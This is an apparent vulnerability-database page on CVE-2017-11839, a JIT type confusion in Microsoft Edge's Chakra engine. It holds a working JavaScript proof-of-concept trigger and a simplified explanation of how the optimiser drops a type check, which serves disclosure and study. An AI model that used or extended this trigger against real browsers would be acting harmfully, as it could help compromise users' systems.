Lucene search
K

Microsoft Edge: Chakra: JIT: BailOutOnTaggedValue bailouts can be generated for constant values(CVE-2017-11839)

🗓️ 04 Dec 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 39 Views

Chakra JIT BailOutOnTaggedValue bailout for constant values CVE-2017-11839. Globals type info for constants. Managing constant type globally

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts Exploit
26 Nov 201700:00
zdt
ATTACKERKB
CVE-2017-11841
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11861
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11846
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11840
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11871
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11858
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11837
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11866
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11870
15 Nov 201703:29
attackerkb
Rows per page

                                                function opt2(inlinee, v) {
    if (v > 0) {
        inlinee();
    } else {
        inlinee.x = 1.1;
    }
}

function opt() {
    opt2(2.3023e-320, null);
}

function main() {
    opt2(() => {}, 1);  // feed a function to the profiler

    for (let i = 0; i < 10000; i++) {
        opt();
    }
}

main();

We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
    // Basic block (a)
    s2 = 2.30235E-320;  // constant
    inlinee = s2;  // variable
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(inlinee);
        inlinee();
    } else {
        // Basic block (c)
        inlinee.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float
        Basic block (a):
            inlinee: CanBeTaggedValue_Float
        Basic block (b):
            inlinee: CanBeTaggedValue_Float
        Basic block (c):
            inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
    // Basic block (a)
    s2 = 2.30235E-320;
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(s2);
        s2();
    } else {
        // Basic block (c)
        s2.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float -> Float
        Basic block (a):
        Basic block (b):
        Basic block (c):
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Dec 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.80398
39